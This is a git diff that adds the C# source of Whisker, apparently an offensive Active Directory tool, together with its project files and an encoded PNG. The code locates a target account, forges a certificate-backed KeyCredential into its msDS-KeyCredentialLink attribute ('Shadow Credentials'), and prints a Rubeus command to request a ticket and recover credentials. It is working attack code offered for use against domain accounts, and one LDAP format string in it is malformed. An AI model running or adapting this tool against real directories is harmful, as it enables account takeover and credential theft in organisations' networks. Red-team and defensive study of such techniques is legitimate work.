//If we have a prefix (DC or domain), an OU path, or both + { + string bindPath = ""; + if (!String.IsNullOrEmpty(ldapPrefix)) + { + bindPath = String.Format("LDAP://{0}", ldapPrefix); + } + if (!String.IsNullOrEmpty(ldapOu)) + { + if (!String.IsNullOrEmpty(bindPath)) + { + bindPath = String.Format("{0}/{1}", bindPath, ldapOu); + } + else + { + bindPath = String.Format("LDAP://{1]", ldapOu); + } + } + + directoryObject = new DirectoryEntry(bindPath); + } + + if (directoryObject != null) + { + directoryObject.AuthenticationType = AuthenticationTypes.Secure | AuthenticationTypes.Sealing | AuthenticationTypes.Signing; + } + + return directoryObject; + } + + //Code taken from Rubeus + private static DirectoryEntry LocateAccount(string username, string domain, string domainController) + { + DirectoryEntry directoryObject = null; + DirectorySearcher userSearcher = null; + + try + { + directoryObject = GetLdapSearchRoot("", domainController, domain); + userSearcher = new DirectorySearcher(directoryObject); + userSearcher.PageSize = 1; + } + catch (Exception ex) + { + if (ex.InnerException != null) + { + Console.WriteLine("\r\n[X] Error creating the domain searcher: {0}", ex.InnerException.Message); + } + else + { + Console.WriteLine("\r\n[X] Error creating the domain searcher: {0}", ex.Message); + } + return null; + } + + // check to ensure that the bind worked correctly + try + { + string dirPath = directoryObject.Path; + Console.WriteLine("[*] Searching for the target account"); + } + catch (DirectoryServicesCOMException ex) + { + Console.WriteLine("\r\n[X] Error validating the domain searcher: {0}", ex.Message); + return null; + } + + try + { + string userSearchFilter = String.Format("(samAccountName={0})", username); + userSearcher.Filter = userSearchFilter; + } + catch (Exception ex) + { + Console.WriteLine("\r\n[X] Error settings the domain searcher filter: {0}", ex.InnerException.Message); + return null; + } + + try + { + SearchResult user = userSearcher.FindOne(); + + if (user == null) + { + Console.WriteLine("[!] Target user not found"); + } + + string distinguishedName = user.Properties["distinguishedName"][0].ToString(); + Console.WriteLine("[*] Target user found: {0}", distinguishedName); + + return user.GetDirectoryEntry(); + + } + catch (Exception ex) + { + if (ex.InnerException != null) + { + Console.WriteLine("\r\n[X] Error executing the domain searcher: {0}", ex.InnerException.Message); + } + else + { + Console.WriteLine("\r\n[X] Error executing the domain searcher: {0}", ex.Message); + } + return null; + } + } + + //Code taken from https://stackoverflow.com/questions/13806299/how-can-i-create-a-self-signed-certificate-using-c + static X509Certificate2 GenerateSelfSignedCert(string cn) + { + RSA rsa = new RSACryptoServiceProvider(2048, new CspParameters(24, "Microsoft Enhanced RSA and AES Cryptographic Provider", Guid.NewGuid().ToString())); + CertificateRequest req = new CertificateRequest(String.Format("cn={0}", cn), rsa, HashAlgorithmName.SHA256, RSASignaturePadding.Pkcs1); + X509Certificate2 cert = req.CreateSelfSigned(DateTimeOffset.Now, DateTimeOffset.Now.AddYears(1)); + return cert; + } + + static void SaveCert(X509Certificate2 cert, string path, string password) + { + // Create PFX (PKCS #12) with private key + File.WriteAllBytes(path, cert.Export(X509ContentType.Pfx, password)); + } + + private static void PrintHelp() + { + string usage = @" +Whisker is a C# tool for taking over Active Directory user and computer accounts by manipulating their +msDS-KeyCredentialLink attribute, effectively adding Shadow Credentials to the target account. + + Usage: ./Whisker.exe [list|add|remove|clear] /target: [/deviceID:] [/domain:] + [/dc:] [/password:] [/path:] + + Modes + list List all the values of the the msDS-KeyCredentialLink attribute of a target object + add Add a new value to the msDS-KeyCredentialLink attribute of a target object + remove Remove a value from the msDS-KeyCredentialLink attribute of a target object + clear Clear all the values of the the msDS-KeyCredentialLink attribute of a target object. + Warning: Clearing the msDS-KeyCredentialLink attribute of accounts configured for + passwordless authentication will cause disruptions. + + Arguments: + /target: Required. Set the target name. Computer objects should end with a '$' sign. + + /deviceID: [remove mode] Required in remove mode. Set the DeviceID of the value to remove from the + attribute msDS-KeyCredentialLink of the target object. Must be a valid GUID. + + [/domain:] Optional. Set the target Fully Qualified Domain Name (FQDN). If not provided, will try to + resolve the FQDN of the current user. + + [/dc:] Optional. Set the target Domain Controller (DC). If not provided, will try to target the + Primary Domain Controller (PDC). + + [/password:] [add mode] Optional in add mode. Set the password for the stored self-signed certificate. + If not provided, a random password will be generated. + + [/path:] [add mode] Optional in add mode. Set the path to store the generated self-signed certificate + for authentication. If not provided, the certificate will be printed as a Base64 blob. + +==[Examples]========= + + list => Whisker.exe list /target:computername$ /domain:constoso.local /dc:dc1.contoso.local + add => Whisker.exe add /target:computername$ /domain:constoso.local /dc:dc1.contoso.local /path:C:\path\to\file.pfx /password:P@ssword1 + remove => Whisker.exe remove /target:computername$ /domain:constoso.local /dc:dc1.contoso.local /deviceid:2de4643a-2e0b-438f-a99d-5cb058b3254b + clear => Whisker.exe clear /target:computername$ /domain:constoso.local /dc:dc1.contoso.local + +For this attack to succeed, the environment must have a Domain Controller running at least Windows Server 2016, +and the Domain Controller must have a server authentication certificate to allow for PKINIT Kerberos authentication. + +This tool is based on code from DSInternals by Michael Grafnetter (@MGrafnetter). +"; + Console.WriteLine(usage); + } + + private static string GenerateRandomPassword() + { + var chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"; + var stringChars = new char[16]; + var random = new Random(); + + for (int i = 0; i < stringChars.Length; i++) + { + stringChars[i] = chars[random.Next(chars.Length)]; + } + + return new string(stringChars); + } + + private static void DecodeDnWithBinary(object dnWithBinary, out byte[] binaryPart, out string dnString) + { + System.Type type = dnWithBinary.GetType(); + + binaryPart = (byte[])type.InvokeMember( + "BinaryValue", + BindingFlags.GetProperty, + null, + dnWithBinary, + null + ); + + dnString = (string)type.InvokeMember( + "DNString", + BindingFlags.GetProperty, + null, + dnWithBinary, + null + ); + } + + public static void Main(string[] args) + { + try + { + string command = null; + if (args.Length > 0) + { + command = args[0].ToLower(); + } + + if (String.IsNullOrEmpty(command) || command.Equals("help") || !(command.Equals("add") || command.Equals("remove") || command.Equals("clear") || command.Equals("list"))) + { + PrintHelp(); + return; + } + + var arguments = new Dictionary(); + for (int i = 1; i < args.Length; i++) + { + string argument = args[i]; + var idx = argument.IndexOf(':'); + if (idx > 0) + { + arguments[argument.Substring(1, idx - 1).ToLower()] = argument.Substring(idx + 1); + } + else + { + idx = argument.IndexOf('='); + if (idx > 0) + { + arguments[argument.Substring(1, idx - 1).ToLower()] = argument.Substring(idx + 1); + } + else + { + arguments[argument.Substring(1).ToLower()] = string.Empty; + } + } + } + + string target; + string domain; + string dc; + string path; + string password; + Guid deviceID = Guid.Empty; + + if (!arguments.ContainsKey("target") || String.IsNullOrEmpty(arguments["target"])) + { + Console.WriteLine("[X] /target is required and must contain the name of the target object.\r\n"); + PrintHelp(); + return; + } + else + { + target = arguments["target"]; + } + + if (command.Equals("remove")) + { + try + { + Guid.TryParse(arguments["deviceid"], out deviceID); + } + catch + { + Console.WriteLine("[X] No valid Guid was provided for /deviceid"); + return; + } + } + + + if (!arguments.ContainsKey("domain") || String.IsNullOrEmpty(arguments["domain"])) + { + try + { + domain = Domain.GetCurrentDomain().Name; //if domain is null, this will try to find the current user's domain + } + catch + { + Console.WriteLine("[!] Could not resolve the current user's domain. Please use the /domain option to specify the Fully Qualified Domain Name (FQDN)"); + return; + } + } + else + { + domain = arguments["domain"]; + } + + if (!arguments.ContainsKey("dc") || String.IsNullOrEmpty(arguments["dc"])) + { + try + { + dc = Domain.GetCurrentDomain().PdcRoleOwner.Name; //if dc is null, this will try to find the PDC in current user's domain + } + catch + { + Console.WriteLine("[!] Could not locate the DC. Please use the /dc option to specify the DC's IP/hostname"); + return; + } + } + else + { + dc = arguments["dc"]; + } + + if (!arguments.ContainsKey("path") || String.IsNullOrEmpty(arguments["path"])) + { + path = ""; + } + else + { + path = arguments["path"]; + } + + if (!arguments.ContainsKey("password") || String.IsNullOrEmpty(arguments["password"])) + { + password = ""; + } + else + { + password = arguments["password"]; + } + + switch (command) + { + case "add": + Add(target, domain, dc, path, password); + break; + case "remove": + Remove(target, domain, dc, deviceID); + break; + case "clear": + Clear(target, domain, dc); + break; + case "list": + List(target, domain, dc); + break; + default: + PrintHelp(); + break; + } + } + catch (System.Exception ex) + { + Console.WriteLine("[!] Error: {0}", ex.Message); + return; + } + } + + static void Add(string target, string fqdn, string dc, string path, string password) + { + if (String.IsNullOrEmpty(path)) + { + Console.WriteLine("[*] No path was provided. The certificate will be printed as a Base64 blob", path); + } + if (String.IsNullOrEmpty(password)) + { + password = GenerateRandomPassword(); + Console.WriteLine("[*] No pass was provided. The certificate will be stored with the password {0}", password); + } + + DirectoryEntry targetObject = LocateAccount(target, fqdn, dc); + if (targetObject == null) + { + return; + } + + X509Certificate2 cert = null; + KeyCredential keyCredential = null; + + Console.WriteLine("[*] Generating certificate"); + cert = GenerateSelfSignedCert(target); + Console.WriteLine("[*] Certificate generated"); + Console.WriteLine("[*] Generating KeyCredential"); + Guid guid = Guid.NewGuid(); + keyCredential = new KeyCredential(cert, guid, targetObject.Properties["distinguishedName"][0].ToString(), DateTime.Now); + Console.WriteLine("[*] KeyCredential generated with DeviceID {0}", guid.ToString()); + + try + { + Console.WriteLine("[*] Updating the msDS-KeyCredentialLink attribute of the target object"); + targetObject.Properties["msDS-KeyCredentialLink"].Add(keyCredential.ToDNWithBinary()); + targetObject.CommitChanges(); + Console.WriteLine("[+] Updated the msDS-KeyCredentialLink attribute of the target object"); + } + catch (Exception e) + { + Console.WriteLine("[X] Could not update attribute: {0}", e.Message); + return; + } + + string certOutput = ""; + try + { + if (String.IsNullOrEmpty(path)) + { + //Console.WriteLine("[*] The associated certificate is:\r\n"); + byte[] certBytes = cert.Export(X509ContentType.Pfx, password); + certOutput = Convert.ToBase64String(certBytes); + //Console.WriteLine(certOutput); + } + else + { + Console.WriteLine("[*] Saving the associated certificate to file..."); + SaveCert(cert, path, password); + Console.WriteLine("[*] The associated certificate was saved to {0}", path); + certOutput = path; + } + + } + catch (Exception e) + { + Console.WriteLine("[!] Could not save the certificate to file: {0}", e.Message); + } + + Console.WriteLine("[*] You can now run Rubeus with the following syntax:\r\n"); + Console.WriteLine("Rubeus.exe asktgt /user:{0} /certificate:{1} /password:\"{2}\" /domain:{3} /dc:{4} /getcredentials /show", target, certOutput, password, fqdn, dc); + } + + static void Remove(string target, string fqdn, string dc, Guid deviceID) + { + DirectoryEntry targetObject = LocateAccount(target, fqdn, dc); + if (targetObject == null) + { + return; + } + + try + { + Console.WriteLine("[*] Updating the msDS-KeyCredentialLink attribute of the target object"); + + bool found = false; + for (int i = 0; i < targetObject.Properties["msDS-KeyCredentialLink"].Count; i++) + { + byte[] binaryPart = null; + string dnString = null; + DecodeDnWithBinary(targetObject.Properties["msDS-KeyCredentialLink"][i], out binaryPart, out dnString); + KeyCredential kc = new KeyCredential(binaryPart, dnString); + if (kc.DeviceId.Equals(deviceID)) + { + targetObject.Properties["msDS-KeyCredentialLink"].RemoveAt(i); + found = true; + Console.WriteLine("[+] Found value to remove"); + } + } + if (!found) + { + Console.WriteLine("[X] No value with the provided DeviceID was found for the target object"); + return; + } + targetObject.CommitChanges(); + Console.WriteLine("[+] Updated the msDS-KeyCredentialLink attribute of the target object"); + } + catch (Exception e) + { + Console.WriteLine("[X] Could not update attribute: {0}", e.Message); + return; + } + } + + static void Clear(string target, string fqdn, string dc) + { + DirectoryEntry targetObject = LocateAccount(target, fqdn, dc); + if (targetObject == null) + { + return; + } + + try + { + Console.WriteLine("[*] Updating the msDS-KeyCredentialLink attribute of the target object"); + targetObject.Properties["msDS-KeyCredentialLink"].Clear(); + targetObject.CommitChanges(); + Console.WriteLine("[+] Updated the msDS-KeyCredentialLink attribute of the target object"); + } + catch (Exception e) + { + Console.WriteLine("[X] Could not update attribute: {0}", e.Message); + return; + } + } + + static void List(string target, string fqdn, string dc) + { + DirectoryEntry targetObject = LocateAccount(target, fqdn, dc); + if (targetObject == null) + { + return; + } + + Console.WriteLine("[*] Listing deviced for {0}:", target); + if (targetObject.Properties["msDS-KeyCredentialLink"].Count == 0) + { + Console.WriteLine("[*] No entries!"); + } + else + { + for (int i = 0; i < targetObject.Properties["msDS-KeyCredentialLink"].Count; i++) + { + byte[] binaryPart = null; + string dnString = null; + DecodeDnWithBinary(targetObject.Properties["msDS-KeyCredentialLink"][i], out binaryPart, out dnString); + KeyCredential kc = new KeyCredential(binaryPart, dnString); + Console.WriteLine(" DeviceID: {0} | Creation Time: {1}", kc.DeviceId, kc.CreationTime); + } + } + } + + } +} diff --git a/repos/Whisker/Whisker/Properties/AssemblyInfo.cs b/repos/Whisker/Whisker/Properties/AssemblyInfo.cs new file mode 100644 index 000000000..ab1d7c39a --- /dev/null +++ b/repos/Whisker/Whisker/Properties/AssemblyInfo.cs @@ -0,0 +1,36 @@ +using System.Reflection; +using System.Runtime.CompilerServices; +using System.Runtime.InteropServices; + +// General Information about an assembly is controlled through the following +// set of attributes. Change these attribute values to modify the information +// associated with an assembly. +[assembly: AssemblyTitle("Whisker")] +[assembly: AssemblyDescription("")] +[assembly: AssemblyConfiguration("")] +[assembly: AssemblyCompany("")] +[assembly: AssemblyProduct("")] +[assembly: AssemblyCopyright("")] +[assembly: AssemblyTrademark("")] +[assembly: AssemblyCulture("")] + +// Setting ComVisible to false makes the types in this assembly not visible +// to COM components. If you need to access a type in this assembly from +// COM, set the ComVisible attribute to true on that type. +[assembly: ComVisible(false)] + +// The following GUID is for the ID of the typelib if this project is exposed to COM +[assembly: Guid("42750ac0-1bff-4f25-8c9d-9af144403bad")] + +// Version information for an assembly consists of the following four values: +// +// Major Version +// Minor Version +// Build Number +// Revision +// +// You can specify all the values or you can default the Build and Revision Numbers +// by using the '*' as shown below: +// [assembly: AssemblyVersion("1.0.*")] +[assembly: AssemblyVersion("1.0.0.0")] +[assembly: AssemblyFileVersion("1.0.0.0")] diff --git a/repos/Whisker/Whisker/Whisker.csproj b/repos/Whisker/Whisker/Whisker.csproj new file mode 100644 index 000000000..e8d9a9354 --- /dev/null +++ b/repos/Whisker/Whisker/Whisker.csproj @@ -0,0 +1,93 @@ + + + + + Debug + AnyCPU + {42750AC0-1BFF-4F25-8C9D-9AF144403BAD} + Exe + Whisker + Whisker + v4.7.2 + 512 + true + true + publish\ + true + Disk + false + Foreground + 7 + Days + false + false + true + 0 + 1.0.0.%2a + false + false + true + + + + AnyCPU + true + full + false + bin\Debug\ + DEBUG;TRACE + prompt + 4 + + + AnyCPU + pdbonly + true + bin\Release\ + TRACE + prompt + 4 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + False + Microsoft .NET Framework 4.8 %28x86 and x64%29 + true + + + False + .NET Framework 3.5 SP1 + false + + + + + + + \ No newline at end of file diff --git a/repos/Whisker/assets/usage.png b/repos/Whisker/assets/usage.png new file mode 100644 index 0000000000000000000000000000000000000000..0c9ad16d951de16655af39fdc5cedd589b6094ac GIT binary patch literal 102730 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 